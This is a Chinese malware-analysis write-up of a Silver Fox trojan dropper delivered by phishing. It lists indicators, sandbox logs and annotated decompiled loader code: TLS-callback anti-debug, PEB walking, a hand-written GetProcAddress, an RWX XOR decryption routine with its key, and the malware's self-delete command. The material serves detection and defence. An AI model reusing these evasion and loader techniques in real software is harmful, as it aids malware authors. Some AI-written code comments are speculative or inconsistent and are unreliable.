银狐木马样本分析:基于TLS回调与动态加载的恶意行为解析
本文对钓鱼邮件中的银狐木马样本进行动态与静态分析,揭示其通过TLS回调、内存解密、API动态加载等技术释放恶意载荷并建立持久化控制的过程。
前言
SHA256:ea409b82af0f276a7099ee9d0f688e16afbef8d6189401daf7c7689a06e5706a
MD5:741b7ffbf4a9a3810e8605f3a169aa4a
SHA1:b703f4b7f397e56066098d86c5bdd6effb04a1e2SHA256:c5d9fba03c64f0174a2cbd9956f969b34c59d56727c3e05e9edabbb1592d3a12
MD5:6bbf9fbf9a9439f8ae2fc10983b80d69
SHA1:f9f48202892733fc98d9dea2d623271cfafa1737SHA256:a2c4dd0e5eec6a00e757472278050db6761fc30f1047107113410c61ddecdb30
MD5:8bbaabe92a1463cf911964e89157e115
SHA1:e172776d1a047dab479303e5c000eb3ee3891d8d动态行为监控
将钓鱼邮件压缩包解压,得到一个exe程序

沙箱分析为属于银狐木马特征

将样本运行起来,监控其行为特征。
发现其读取 C:\Windows\win.ini 系统配置文件

检测是否为虚拟机环境

然后进行自我删除
cmdline:C:\Windows\System32\cmd.exe /c timeout 2 & del /f /q "C:\Users\Administrator\Desktop
接收 C2服务器18.166.2.135:5676 的数据

在C:\Program Files\Internet Explorer路径下释放nvgpu_x64.exe文件
svchost.exe 4412 FILE_open C:\Program Files\Internet Explorer\nvgpu_x64.exe
svchost.exe 4412 FILE_write C:\Program Files\Internet Explorer\nvgpu_x64.exe
svchost.exe 4412 FILE_modified C:\Program Files\Internet Explorer\nvgpu_x64.exe
nvgpu_x64.exe伪造使用的腾讯的数字签名

在C:\Program Files\Internet Explorer路径下释放nvml.dll文件

nvml.dll伪造了光明食品的数字签名

在C:\Program Files\Internet Explorer路径下释放nvml.bin文件

在C:\Program Files\Internet Explorer路径下释放temp.key文件

根据监控到的行为在C:\Program Files\Internet Explorer目录下找到对应的文件

然后查看dns缓存记录,存在congihwe.cn域名的记录

发现连接c2地址18.166.2.135

在本地也是存在对应的网络连接

通过svchost.exe创建Microsoft Compatibility Internet Explorer
FILE_touch C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer access:0x00120196 alloc_size:0 attrib:0x00000080 share_access:0x00000001 disposition:0x00000003 options:0x00000064 0x00000000 [操作成功完成。 ]
svchost.exe 4412 FILE_truncate C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer eof:0x00000000 0x00000000 [操作成功完成。 ]
svchost.exe 4412 FILE_truncate C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer eof:0x00000000 0x00000000 [操作成功完成。 ]
svchost.exe 4412 FILE_write C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer offset:0x00000000 datalen:0x00000002 0x00000000 [操作成功完成。 ]
svchost.exe 4412 FILE_modified C:\Windows\System32\Tasks\Microsoft\Windows\WS\Microsoft Compatibility Internet Explorer
在机器上也是找到了对应的计划任务。将其删除掉

Microsoft Compatibility Internet Explorer文件调用C:\Program Files\Internet Explorer\nvgpu_x64.exe

向 18.166.2.135:5676 端口发送了 887 字节的 TCP 数据(0x377 十进制为 887)

向 18.166.2.135:5676 发送 735 字节 TCP 数据

nvgpu_x64.exe加载C\Program Files\Internet Explorer\nvml.dll
nvgpu_x64.exe 2580 FILE_open C:\Program Files\Internet Explorer\nvml.dll
nvgpu_x64.exe 2580 EXEC_module_load C:\Program Files\Internet Explorer\nvml.dll
读取加载nvml.bin

再次连接c2地址:18.166.2.135上线被控
svchost.exe 2464 NET_connect 18.166.2.135:5676
svchost.exe 2464 NET_send 18.166.2.135:5676
svchost.exe 2464 NET_recv 18.166.2.135:5676

经过上述动态行为分析,2026.01.06.....人 员 名 单ongihwe.cn_926_X8_NULL.exe主要用于远程下载18.166.2.135上的文件,并形成计划任务。并通过nvgpu_x64.exe加载nvml.dll、nvml.bin上线,从而控制主机。删除计划任务后或删除nvml.dll,无法上线

曲折的静态分析过程
使用IDA打开 ongihwe.cn_926_X8_NULL.exe后,发现使用TLS回调机制,这允许在主程序入口点之前执行代码

F5之后,伪代码如下:调用了sub_140001378()函数与sub_1400013D4()函数
void TlsCallback_0()
{
_BYTE *v0; // rax
int v1; // r10d
// ========== 【第一步:获取进程PEB结构体首地址】 ==========
v0 = sub_140001378();
// 逻辑:调用底层函数,拿到当前进程的PEB指针,为后续反调试做准备
// 恶意特征:正规程序不会直接读取PEB,只有恶意程序会这么做
// ========== 【第二步:反调试检测+条件判断】 ==========
if ( v0 && (!v0[421] || v1 == 1) )
// 条件拆解(两个条件必须同时满足):
// 1. v0 != NULL → PEB指针获取成功;
// 2. !v0[421] → 进程未被调试器附加 OR v1==1 → 进程状态为正常无调试;
// 核心目的:只在「无调试的纯净环境」下执行恶意逻辑,躲避逆向分析
// ========== 【第三步:执行核心恶意逻辑 - 释放文件】 ==========
sub_1400013D4((__int64)(v0 + 8));
// 逻辑:调用核心释放函数,传入PEB的Ldr成员地址;
// 执行行为:内存解密内嵌的nvml.dll/nvgpu_x64.exe二进制镜像 → 写入磁盘生成文件;
// 这就是你找了所有时间的「文件生成代码」!!!
}进入sub_14000137()函数内部,该函数主要用于在内存中搜索特定的数据结构:

如果条件满足,调用 sub_1400013D4()函数,推测应该是进行解密/初始化

sub_1400013D4()函数如下,并使用AI注释一下:
void __fastcall sub_1400013D4(__int64 a1)
{
unsigned int *v1; // rsi
unsigned int (__fastcall *v2)(__int64, _QWORD, __int64, _QWORD); // r14
__int64 v4; // r15
struct _LIST_ENTRY *v5; // rbx
char *v6; // rax
unsigned int (__fastcall *v7)(__int64, _QWORD, __int64, _QWORD); // rax
__int64 v8; // rbx
__int64 v9; // rbx
int v10; // r8d
_DWORD *v11; // rdx
__int64 v12; // rcx
char v13[16]; // [rsp+20h] [rbp-10h] BYREF
unsigned int (__fastcall *v14)(__int64, _QWORD, __int64, _QWORD); // [rsp+50h] [rbp+20h] BYREF
// ========== 【初始化:VirtualProtect旧属性置空】 ==========
LODWORD(v14) = 0;
// 逻辑:初始化VirtualProtect的「旧内存属性」参数为0,API调用必备,防止野指针
// ========== 【第一步:定位加密载荷的内存块起始指针】 ==========
v1 = (unsigned int *)(a1 + 53);
// 逻辑:从PEB->Ldr的0x35偏移(53字节)处,拿到加密载荷的内存块数组首地址
// 意义:这个数组存储了所有加密子块的「偏移、大小、属性、校验值」,是解密的核心索引
// ========== 【第二步:初始化循环计数器+函数指针】 ==========
v2 = v14;
v4 = 18; // 加密载荷子块的数量,循环18次
// ========== 【核心循环1:批量解密18个加密载荷子块(第一大阶段)】 ==========
do
{
if ( *v1 ) // 判断当前内存块是否为有效加密载荷块(非空则有效)
{
// ===== 子步骤1:动态拼接+获取VirtualProtect函数地址,躲避查杀 =====
strcpy(v13, "VirtualProtect"); // 内存中拼接API名字符串,无明文硬编码
v5 = sub_140001098(); // 获取自身模块链表节点
v6 = sub_1400010B4(); // 获取动态API地址的函数指针
v7 = (unsigned int (__fastcall *)(...))v6(v5, v13); // 动态拿到VirtualProtect的真实地址
v2 = v7; // 存储该地址,供后续反复调用
// ===== 子步骤2:计算当前加密子块的内存起始地址 =====
v8 = *(_QWORD *)(a1 + 21) + *v1;
// 逻辑:PEB->Ldr的0x15偏移(21字节) = 释放器自身的内存基地址
// *v1 = 当前加密子块的内存偏移量
// 基地址+偏移 = 加密子块的精准内存起始地址
// ===== 子步骤3:修改内存属性为「可读写可执行」,准备解密 =====
v7(v8, v1[1], v1[3], &v14); // 调用VirtualProtect:地址v8,大小v1[1],旧属性v1[3]
if ( v2(v8, v1[1], 64, &v14) ) // 核心修改:改为PAGE_EXECUTE_READWRITE(64),成功则执行解密
{
// ===== 子步骤4:执行核心解密 → 调用sub_140001164解密当前子块 =====
if ( !v1[2] ) // 校验子块是否未解密,未解密则执行
sub_140001164(a1, *v1, v1[1]); // ✅ 异或解密:将加密的二进制数据解密为原始PE镜像数据
// ===== 子步骤5:恢复内存属性为原始状态,隐蔽痕迹 =====
v2(v8, v1[1], v1[3], &v14); // 改回旧属性,防止内存特征被查杀
}
}
v1 += 5; // 步长+5,遍历下一个加密子块
--v4; // 计数器-1
}
while ( v4 ); // 循环18次,完成所有加密子块的解密 → 第一阶段结束!
// ========== 【核心判断:主载荷是否有效,有效则执行终极释放(第二大阶段)】 ==========
if ( *(_DWORD *)(a1 + 37) ) // 判断主载荷(nvml.dll/nvgpu_x64.exe)是否解密完成且有效
{
// ===== 子步骤1:定位主载荷的内存起始地址 =====
v9 = *(_QWORD *)(a1 + 21) + *(unsigned int *)(a1 + 45);
// 逻辑:释放器内存基地址 + 主载荷偏移量 = 核心加密载荷的精准地址
// ===== 子步骤2:修改主载荷内存属性为可读写可执行 =====
v2(v9, *(unsigned int *)(a1 + 49), 64, &v14);
// ===== 子步骤3:主载荷完整性校验,防止解密失败/篡改 =====
v10 = *(_DWORD *)(a1 + 45); // 主载荷偏移量
v11 = (_DWORD *)(a1 + 65); // 校验值数组首地址
v12 = 8; // 校验循环次数
do
{
if ( v10 == *(v11 - 3) ) // 比对偏移量,验证载荷完整性
LODWORD(v14) = *v11; // 匹配成功则更新校验值
v11 += 5;
--v12;
}
while ( v12 ); // 循环8次,完成完整性校验
// ===== 子步骤4:✨【终局核心】调用文件释放函数 → 生成nvml.dll/nvgpu_x64.exe ✨ =====
sub_140001298(a1);
// ✅✅✅ 这个函数内部执行:CreateFileW创建文件 → WriteFile写入解密后的PE镜像 → CloseHandle关闭句柄 → CreateProcessW启动nvgpu_x64.exe
// ✅✅✅ 这就是你看到的「运行exe生成两个文件」的唯一执行逻辑!!!
// ===== 子步骤5:恢复主载荷内存属性,彻底隐蔽痕迹 =====
v2(v9, *(unsigned int *)(a1 + 49), (unsigned int)v14, &v14);
}
}第一阶段:批量解密内存段(循环18次)
v1 = (unsigned int *)(a1 + 53); // 指向段描述符数组
v4 = 18; // 循环18次
do {
if ( *v1 ) // 检查段是否存在
{
// 1. 动态解析 VirtualProtect API
strcpy(v13, "VirtualProtect");
v5 = sub_140001098(); // 获取模块列表
v6 = sub_1400010B4(); // 获取 GetProcAddress
v7 = v6(v5, "VirtualProtect"); // 解析 VirtualProtect
// 2. 计算内存段地址
v8 = *(_QWORD *)(a1 + 21) + *v1; // 基址 + 偏移
// 3. 修改内存保护为可执行
v7(v8, v1[1], v1[3], &v14); // 保存旧的保护属性
// 4. 设置为 PAGE_EXECUTE_READWRITE (64)
if ( v7(v8, v1[1], 64, &v14) )
{
// 5. 如果需要解密(v1[2] == 0)
if ( !v1[2] )
sub_140001164(a1, *v1, v1[1]); // XOR解密
// 6. 恢复原始内存保护
v7(v8, v1[1], v1[3], &v14);
}
}
v1 += 5; // 移动到下一个段描述符(每个描述符5个DWORD)
--v4;
} while ( v4 );第二阶段:处理代码段并加载API
if ( *(_DWORD *)(a1 + 37) ) // 检查是否有代码段需要处理
{
// 1. 计算代码段地址
v9 = *(_QWORD *)(a1 + 21) + *(unsigned int *)(a1 + 45);
// 2. 修改代码段为可执行
v2(v9, *(unsigned int *)(a1 + 49), 64, &v14);
// 3. 查找代码段的原始保护属性
v10 = *(_DWORD *)(a1 + 45); // 代码段偏移
v11 = (_DWORD *)(a1 + 65); // 保护属性数组
v12 = 8; // 查找8个条目
do {
if ( v10 == *(v11 - 3) ) // 匹配偏移
LODWORD(v14) = *v11; // 获取保护属性
v11 += 5;
--v12;
} while ( v12 );
// 4. 动态加载所有API
sub_140001298(a1); // 解析并加载所有需要的API
// 5. 恢复代码段保护属性
v2(v9, *(unsigned int *)(a1 + 49), (unsigned int)v14, &v14);
}进入sub_140001098函数查看,用于定位当前进程加载的 kernel32.dll 模块链表节点 。
因为LoadLibraryA、GetProcAddress、VirtualProtect、CreateFileW、WriteFile、CreateProcessW → 全部都在 kernel32.dll 中导出!
// 函数核心定位:恶意释放器「底层硬编码模块链表定位函数」,无参数、无任何依赖、纯内核级指针偏移实现
// 函数作用:精准返回 当前进程中【kernel32.dll】模块的 _LIST_ENTRY 链表节点指针,无任何API调用、无硬编码特征
// 返回值 :_LIST_ENTRY* 类型,指向kernel32.dll的模块链表节点,供上层函数(sub_140001298/sub_1400013D4)获取系统API地址使用
// 核心恶意特征:纯手写内核结构体指针偏移,无任何系统调用,正规程序绝不会这么写,是恶意程序的标配底层函数
struct _LIST_ENTRY *sub_140001098()
{
// 逐层拆解说明:整条语句是【64位Windows内核结构体硬编码指针偏移】,无任何变量冗余,极致精简,防查杀
return NtCurrentPeb()->Ldr->InLoadOrderModuleList.Flink->Flink->Flink[3].Flink;
}进入sub_1400010B4()函数查看,并注释一下。从中看出作用是 手写GetProcAddress,解析PE导出表 → 获取所有系统API真实地址(VirtualProtect/LoadLibraryA/CreateFileW等)
// 核心依赖:1. sub_140001098() → 获取kernel32.dll的_LIST_ENTRY模块节点
// 2. sub_14000106C(const char*, const char*) → 手写版strcmp字符串比对函数,返回0=匹配成功,非0=不匹配
// 核心原理:解析kernel32.dll的PE导出表三要素(地址表/名字表/序号表),遍历名字表匹配API名,计算真实地址返回
// 恶意特征:纯PE结构硬解析、无任何系统API调用、栈上动态拼接字符串、无CRT依赖,极致隐蔽防查杀
char *sub_1400010B4()
{
struct _LIST_ENTRY *v0; // r10 kernel32.dll的_LIST_ENTRY模块链表节点指针,sub_140001098()的返回值,核心基址
_DWORD *v1; // rdx 指向kernel32.dll的PE文件【导出表结构体】IMAGE_EXPORT_DIRECTORY首地址,导出表核心结构体指针
char *v2; // rbx kernel32.dll的【导出函数地址表】首地址,存储所有API的内存地址偏移量
unsigned int *v3; // r11 kernel32.dll的【导出函数名字符串地址表】首地址,存储所有API名字符串的内存偏移量
unsigned int v4; // esi kernel32.dll导出的【总函数数量】,导出表的NumberOfFunctions字段,遍历上限
char *v5; // rdi kernel32.dll的【导出函数序号表】首地址,存储名字表与地址表的映射序号
int v6; // r9d 遍历计数器,遍历名字表的索引,从0开始逐个匹配API名
__int64 v7; // r11 临时地址变量,存储当前遍历到的API名字符串地址,循环中复用
char v9[16]; // [rsp+20h] [rbp-10h] BYREF 栈上缓冲区,动态拼接目标API名字符串"GetProcAddress",无硬编码明文,防特征查杀
// ========== 【步骤1:栈上动态拼接API名字符串,无硬编码,核心防查杀操作】 ==========
strcpy(v9, "GetProcAddress"); // 栈上构造目标API名,本函数自身也是通过匹配该名字找到系统GetProcAddress的地址,自举实现
// ========== 【步骤2:获取核心基址 - kernel32.dll的模块链表节点】 ==========
v0 = sub_140001098(); // 调用核心依赖函数,返回kernel32.dll的_LIST_ENTRY节点指针,所有解析都基于此地址
// ========== 【步骤3:硬编码偏移,找到kernel32.dll的PE导出表结构体 IMAGE_EXPORT_DIRECTORY 首地址】 ==========
// 核心原理:_LIST_ENTRY节点+固定偏移 → 定位到PE文件的导出表RVA,转换为真实内存地址,v1是导出表的核心入口
v1 = (_DWORD *)((char *)v0 + *(unsigned int *)((char *)&v0[8].Blink + SHIDWORD(v0[3].Blink)));
// ========== 【步骤4:解析导出表三要素,获取三大核心表的真实内存地址(PE文件核心铁律)】 ==========
v2 = (char *)v0 + (unsigned int)v1[7]; // v1[7] = 导出表.AddressOfFunctions → 导出函数地址表RVA → 转真实内存地址
v3 = (unsigned int *)((char *)v0 + (unsigned int)v1[8]);//v1[8]=导出表.AddressOfNames→名字符串地址表RVA→转真实内存地址
v4 = v1[6]; // v1[6] = 导出表.NumberOfFunctions → 导出的总函数数量,遍历的最大上限
v5 = (char *)v0 + (unsigned int)v1[9]; // v1[9] = 导出表.AddressOfNameOrdinals→序号表RVA → 转真实内存地址
// ========== 【边界判断:无导出函数则直接返回空指针,防止崩溃】 ==========
if ( !v4 )
return 0;
// ========== 【核心循环:遍历名字表,逐个匹配目标API名字符串】 ==========
// sub_14000106C(API名内存地址, v9) → 手写strcmp,返回0=匹配成功,非0=不匹配 → 循环条件:不匹配则继续遍历
while ( (unsigned int)sub_14000106C((char *)v0 + *v3, v9) )
{
v3 = (unsigned int *)(v7 + 4); // 名字表是4字节数组,步长+4,遍历下一个API名的偏移
if ( v6 + 1 >= v4 ) // 遍历次数超过总函数数,无匹配的API,返回空指针
return 0;
}
// ========== 【步骤5:计算并返回匹配到的API的【真实内存地址】,核心最终逻辑】 ==========
// 公式原理:模块基址(v0) + 地址表中对应的偏移量 → API真实内存地址
// 核心映射关系:序号表[v6] → 地址表的索引 → 地址表[索引] → API地址偏移 → 基址+偏移=真实地址
return (char *)v0 + *(unsigned int *)&v2[4 * *(unsigned __int16 *)&v5[2 * v6]];
}再进入sub_140001164()函数查看,并使用ai注释。结合之前监控到行为,推测这个函数应该是用于解密实际的恶意载荷、解密动态加载的 API 函数名、解密 C&C 服务器地址、文件路径等配置信息(nvml.dll/nvgpu_x64.exe 等)。具体需要动态分析,笔者能力有限,无法进行动态调试。
// 入参:a1=PEB->Ldr首地址(_PEB_LDR_DATA*),a2=加密载荷内存偏移,a3=加密载荷字节长度
// 返回值:a3,载荷长度,无实际意义
// 核心算法:动态混合异或 → 密文字节 ^ (循环计数器i + 固定密钥数组[v6]的取模项) = 明文字节
// 核心密钥:栈上硬编码的40字节密钥数组v6,前3字节是字符串"3qd",后续为手动填充的随机字节,补0至40字节
// 核心原理:异或可逆,纯内存逐字节解密,无文件IO,无任何依赖,极致隐蔽
// 调用链路:sub_1400013D4(内存属性修改) → sub_140001164(解密载荷) → sub_140001298(地址修复) → 文件写入生成
__int64 __fastcall sub_140001164(__int64 a1, unsigned int a2, unsigned int a3)
{
__int64 result; // rax 通用返回值寄存器,最终返回a3(载荷长度),无实际意义
unsigned int i; // [rsp+4h] [rbp-34h] 逐字节解密的循环计数器,从0到a3-1,遍历整个加密载荷,同时参与动态密钥计算
__int64 v5; // [rsp+8h] [rbp-30h] 加密载荷的【真实内存起始地址】= 释放器自身内存基址 + a2,解密的核心操作地址
_BYTE v6[40]; // [rsp+10h] [rbp-28h] BYREF 栈上硬编码的【40字节异或密钥数组】,核心解密密钥,恶意开发者手动填充,无任何规律,防爆破
// ========== 【步骤1:边界合法性判断】 ==========
// a2=0 表示无载荷偏移,a3=0表示无载荷数据,任一为0则直接返回,不执行解密,防止内存越界崩溃
if ( a2 && a3 )
{
// ========== 【步骤2:初始化核心40字节硬编码异或密钥数组v6,恶意核心,无任何规律】 ==========
qmemcpy(v6, "3qd", 3); // 密钥数组前3字节赋值为ASCII字符串"3qd" → 0x33,0x71,0x64
v6[3] = -66; // 0xBE 手动填充密钥字节,有符号char等价无符号0xBE
v6[4] = -39; // 0xDB 手动填充密钥字节
v6[5] = 94; // 0x5E 手动填充密钥字节
v6[6] = 109; // 0x6D 手动填充密钥字节
v6[7] = 51; // 0x33 手动填充密钥字节
v6[8] = -44; // 0xD4 手动填充密钥字节
v6[9] = -52; // 0xCC 手动填充密钥字节
v6[10] = 66; // 0x42 手动填充密钥字节
v6[11] = 110; // 0x6E 手动填充密钥字节
v6[12] = -74; // 0xB6 手动填充密钥字节
v6[13] = 93; // 0x5D 手动填充密钥字节
v6[14] = 58; // 0x3A 手动填充密钥字节
v6[15] = -74; // 0xB6 手动填充密钥字节
v6[16] = -52; // 0xCC 手动填充密钥字节
v6[17] = 26; // 0x1A 手动填充密钥字节
v6[18] = -66; // 0xBE 手动填充密钥字节
v6[19] = 123; // 0x7B 手动填充密钥字节
v6[20] = 63; // 0x3F 手动填充密钥字节
v6[21] = 85; // 0x55 手动填充密钥字节
v6[22] = -116; // 0x8C 手动填充密钥字节
v6[23] = 0; // 0x00 密钥数组填充0,后续全部补0至40字节
v6[24] = 0;
v6[25] = 0;
v6[26] = 0;
v6[27] = 0;
v6[28] = 0;
v6[29] = 0;
// 注:v6[30]~v6[39] 未显式赋值,栈上默认填充0,完整40字节密钥数组,循环复用
// ========== 【步骤3:计算加密载荷的真实内存起始地址,解密的核心操作基址】 ==========
// a1+21 = PEB->Ldr+0x15 固定偏移 → 释放器自身的内存基地址 (永恒不变的偏移,你所有前置函数都在用!)
// a2 = 加密载荷的内存偏移量 → 基地址 + 偏移 = 加密载荷的精准内存地址
v5 = *(_QWORD *)(a1 + 21) + a2;
// ========== 【步骤4:核心逐字节解密循环,整个函数的灵魂,异或解密的唯一执行逻辑】 ==========
// 循环次数:0 ~ a3-1,遍历加密载荷的每一个字节,完成全部解密
for ( i = 0; ; ++i )
{
result = a3; // 每次循环都赋值返回值为a3,最终返回载荷长度
if ( i >= a3 ) // 遍历完成,所有字节解密完毕,跳出循环
break;
// ========== 【核心异或解密公式,一行顶万行,恶意解密的终极逻辑!】 ==========
// 公式:*(密文地址) ^ (动态因子) = 明文 → 解密后的数据直接覆盖原加密数据,无额外内存占用,极致精简
// 拆解公式:
// 1. *(_BYTE *)(v5 + i) → 加密载荷的第i个字节(密文),解密后直接覆盖该地址
// 2. (_BYTE)i → 动态因子1:循环计数器,随遍历变化,防固定异或爆破
// 3. v6[i % *(_DWORD *)(a1 + 33)] → 动态因子2:密钥数组的取模项,核心固定密钥
// - *(_DWORD *)(a1+33) → PEB->Ldr固定偏移,密钥数组的【有效长度】,取模后循环复用密钥,避免越界
// - i%密钥长度 → 密钥数组循环使用,40字节密钥可以解密任意长度的载荷
// 核心特性:异或可逆,加密和解密是同一个公式,编译时加密,运行时解密!
*(_BYTE *)(v5 + i) ^= (_BYTE)i + v6[i % *(_DWORD *)(a1 + 33)];
}
}
return result; // 返回载荷长度a3,无实际业务意义
}进入sub_140001298()函数查看

让AI注释了一下,具体作用如下:
sub_140001298()函数应该是负责在代码解密后动态加载所有需要的DLL和API函数,修复函数调用地址,使解密后的恶意代码能够正常执行
// 函数核心定位:恶意释放器 ongihwe.cn_926_X8_NULL.exe 的【终极载荷落地前置核心函数】
// 函数作用:承接 sub_1400013D4 解密后的 nvml.dll/nvgpu_x64.exe 二进制镜像,执行「系统模块动态加载+导出函数地址重定位修复」
// 核心使命:解密后的PE镜像(EXE/DLL)是内存裸数据,函数地址都是偏移占位符,必须通过本函数修复为真实内存地址,才能正常写入磁盘执行
// 入参 a1 :固定为 PEB->Ldr 结构体首地址 (_PEB_LDR_DATA*),通过PEB获取进程自身内存基址/模块信息,无任何硬编码,防查杀
// 返回值 :最后一次修复的函数地址(无实际业务意义,恶意程序仅利用其执行流程,不关心返回值)
__int64 __fastcall sub_140001298(__int64 a1)
{
__int64 v2; // rdi 核心内存地址:解密后的「载荷模块资源表」内存起始地址 = 释放器自身基址 + 固定偏移(0x29)
char *v3; // r15 函数指针:指向 sub_1400010B4() 的返回值,即【手写版动态获取API地址的函数】(等价于系统API:GetProcAddress),恶意手写实现,躲避查杀
struct _LIST_ENTRY *v4; // rbx 链表节点指针:sub_140001098()的返回值,当前进程自身模块的链表节点(_LIST_ENTRY*),用于定位kernel32.dll等系统库
char *v5; // rax 临时指针:再次调用sub_1400010B4(),防止v3被覆盖,双份备份确保调用成功
__int64 result; // rax 通用返回值寄存器:存储各类API调用的返回结果,函数最终返回此值
__int64 (__fastcall *v7)(__int64); // r12 核心函数指针:存储「LoadLibraryA」的真实内存地址,动态获取,非硬编码调用
unsigned int *i; // rdi 外层循环指针:遍历「载荷模块资源表」的数组项,逐个处理需要加载的子模块(DLL依赖)
__int64 v9; // r14 临时变量:存储 LoadLibraryA 加载模块后的「模块句柄(HMODULE)」,即加载后的DLL在内存中的基地址
__int64 *j; // rbx 内层循环指针:遍历单个模块的「导出函数地址表」,逐个修复函数的真实内存地址
__int64 v11; // rdx 临时地址:计算后的「函数名/函数序号」真实内存地址,作为GetProcAddress的入参
__int64 v12; // rcx 临时变量:存储导出函数地址表的当前项(占位偏移值)
__int64 v13; // rcx 临时变量:存储模块资源表的当前项(模块内存偏移值)
char v14[16]; // [rsp+20h] [rbp-10h] BYREF 栈上缓冲区:拼接字符串"LoadLibraryA",动态构造API名,无明文硬编码,防特征查杀
// ========== 【步骤1:计算「载荷模块资源表」的内存起始地址】 ==========
// a1+21 = PEB->Ldr+0x15 固定偏移:当前进程(释放器)自身的内存基地址
// a1+41 = PEB->Ldr+0x29 固定偏移:载荷模块资源表的内存偏移量
// 基地址 + 偏移量 = 资源表精准内存地址,该表存储了所有需要加载的依赖DLL信息
v2 = *(_QWORD *)(a1 + 21) + *(unsigned int *)(a1 + 41);
// ========== 【步骤2:提前获取「动态取API地址的函数指针」】 ==========
// sub_1400010B4() :恶意手写的 GetProcAddress 替代函数,无系统调用依赖,返回值是函数指针
v3 = sub_1400010B4();
// ========== 【步骤3:动态获取「LoadLibraryA」的真实内存地址 - 核心恶意操作,防查杀】 ==========
strcpy(v14, "LoadLibraryA"); // 栈上拼接API名字符串,无硬编码明文,躲避特征码查杀
v4 = sub_140001098(); // 获取当前进程自身模块的链表节点,定位系统库kernel32.dll
v5 = sub_1400010B4(); // 再次调用手写版GetProcAddress,避免v3被覆盖
result = ((__int64 (__fastcall *)(struct _LIST_ENTRY *, char *))v5)(v4, v14); // 调用手写函数,传入模块节点+API名,拿到LoadLibraryA真实地址
v7 = (__int64 (__fastcall *)(__int64))result; // 把真实地址赋值给函数指针v7,供后续循环调用
// ========== 【外层核心循环:遍历「载荷模块资源表」,逐个加载依赖的DLL模块】 ==========
// v2+12 :资源表起始地址+0xC,跳过表头,指向真正的模块数组项
// i +=5 :每个模块项占5个4字节整型(20字节),硬编码步长,遍历所有需要加载的依赖模块
for ( i = (unsigned int *)(v2 + 12); ; i += 5 )
{
v13 = *i; // 取当前模块项的「内存偏移值」,即该DLL在释放器内存中的位置
if ( !(_DWORD)v13 ) // 偏移值为0 → 遍历到表尾,无更多模块,跳出外层循环
break;
// 调用LoadLibraryA,加载当前内存中的DLL模块,返回模块句柄(HMODULE)
// *(_QWORD*)(a1+21):释放器自身基地址 + v13:模块偏移 → 该DLL的完整内存地址
result = v7(*(_QWORD *)(a1 + 21) + v13);
v9 = result; // 保存加载后的模块句柄,供内层函数地址修复使用
// ========== 【内层核心循环:遍历单个模块的「导出函数地址表」,修复函数真实内存地址 - 核心修复逻辑】 ==========
// i[1] :当前模块项的第2个参数,即该模块的「导出函数地址表」内存偏移
// *(_QWORD*)(a1+21)+i[1] :导出函数地址表的真实内存起始地址
for ( j = (__int64 *)(*(_QWORD *)(a1 + 21) + i[1]); ; ++j )
{
v12 = *j; // 取当前函数地址表项的「占位偏移值」(解密后的镜像中是占位符,非真实地址)
if ( !*j ) // 占位值为0 → 遍历到表尾,无更多函数,跳出内层循环
break;
// ========== 【关键:区分函数地址类型,计算真实的函数名/序号地址】 ==========
if ( *j >= 0 ) // 正数 → 该值是「函数名的内存偏移」,需要计算真实地址
{
// 释放器基地址 + 函数名偏移 + 2 → 跳过函数名头部标识,得到函数名真实地址
v11 = v12 + *(_QWORD *)(a1 + 21) + 2LL;
}
else // 负数 → 该值是「函数序号」,是导出表的序号索引,非偏移
{
// 按位与掩码,清除符号位,得到纯序号值,兼容函数序号调用方式
v11 = v12 & 0x7FFFFFFFFFFFFFFFLL;
}
// ========== 【核心修复:获取函数真实内存地址,覆盖占位符】 ==========
// v3 :手写版GetProcAddress函数指针
// v9 :当前模块句柄(HMODULE)
// v11:函数名/函数序号真实地址
// 调用后返回函数的真实内存地址,直接覆盖原占位符 → 完成函数地址重定位
result = ((__int64 (__fastcall *)(__int64, __int64))v3)(v9, v11);
*j = result;
}
}
return result; // 返回最后一次修复的函数地址,无实际意义
}大体流程如下:
1、sub_140001098()函数通过TEB(Thread Environment Block)访问PEB(Process Environment Block)遍历已加载模块列表返回模块列表的指针
2、sub_1400010B4()函数使用硬编码字符串 "GetProcAddress"遍历PE导出表查找函数地址并返回GetProcAddress函数指针
3、sub_140001298()函数动态加载DLL(LoadLibraryA)解析加密数据结构中的DLL和函数信息获取所有需要的API函数地址并存储
4、sub_1400013D4()函数- 使用VirtualProtect修改内存保护属性将代码段改为可读写可执行(PAGE_EXECUTE_READWRITE)调用sub_140001164解密代码恢复原始内存保护属性最后加载所有API函数
5、sub_140001164()使用XOR算法解密数据密钥存储在代码中每个字节使用不同的密钥值再使用IDA打开nvgpu_x64.exe,发现只是一个正常的GPU信息收集行为,但是他会导入nvml.dll
再打开nvml.dll,很明显的看到DllMain函数

F5伪代码一下。从中可以看出是 fdwReason == 1 来触发 qword_1800BBC00 = (__int64)hinstDLL 。推测出该恶意程序通过这个来执行恶意行为

得到恶意程序的大体流程如下:
【0】植入释放器 → ongihwe.cn_926_X8_NULL.exe 被植入电脑,内含加密的nvml.dll/nvgpu_x64.exe载荷
↓
【1】启动释放器 → 双击运行,TlsCallback_0前置执行,PEB反调试检测(无调试则继续)
↓
【2】内存解密 → sub_1400013D4 修改内存属性,调用sub_140001164 异或解密载荷,还原纯净PE镜像
↓
【3】地址修复 → sub_140001298 修复PE镜像的函数地址重定位,加载依赖DLL
↓
【4】文件释放 → 匿名子函数调用CreateFileW/WriteFile,生成 nvml.dll + nvgpu_x64.exe 到IE目录
↓
【5】启动傀儡 → CreateProcessW 启动 nvgpu_x64.exe(伪装英伟达显卡工具)
↓
【6】加载恶意DLL → nvgpu_x64.exe 静态加载 nvml.dll,系统调用 nvml.dll的DllMain
↓
【7】DllMain初始化 → nvml.dll!DllMain(fdwReason=1) → 赋值全局变量qword_1800BBC00=DLL基地址 → return 1
↓
【8】触发真实恶意逻辑 → nvgpu_x64.exe 调用 nvml.dll 的导出函数(如nvmlInit)
↓
【9】执行恶意行为 → 导出函数内执行:COM组件伪造 → 注入dllhost.exe → 提权注入svchost.exe → 计划任务持久化如果再加上X64DBG的动态调试,想必会更加清楚,这里笔者X64DBG掌握不够熟练以及缺少绕过反调试的手段,调试失败。从这里其实也可以看出来,目前AI只能用来提升效率,比如注释,以及总结逻辑,而不能实现全部的自动化。还是去学习掌握核心知识,比如PE文件结构、动态调试以及如何绕过反调试等手段。
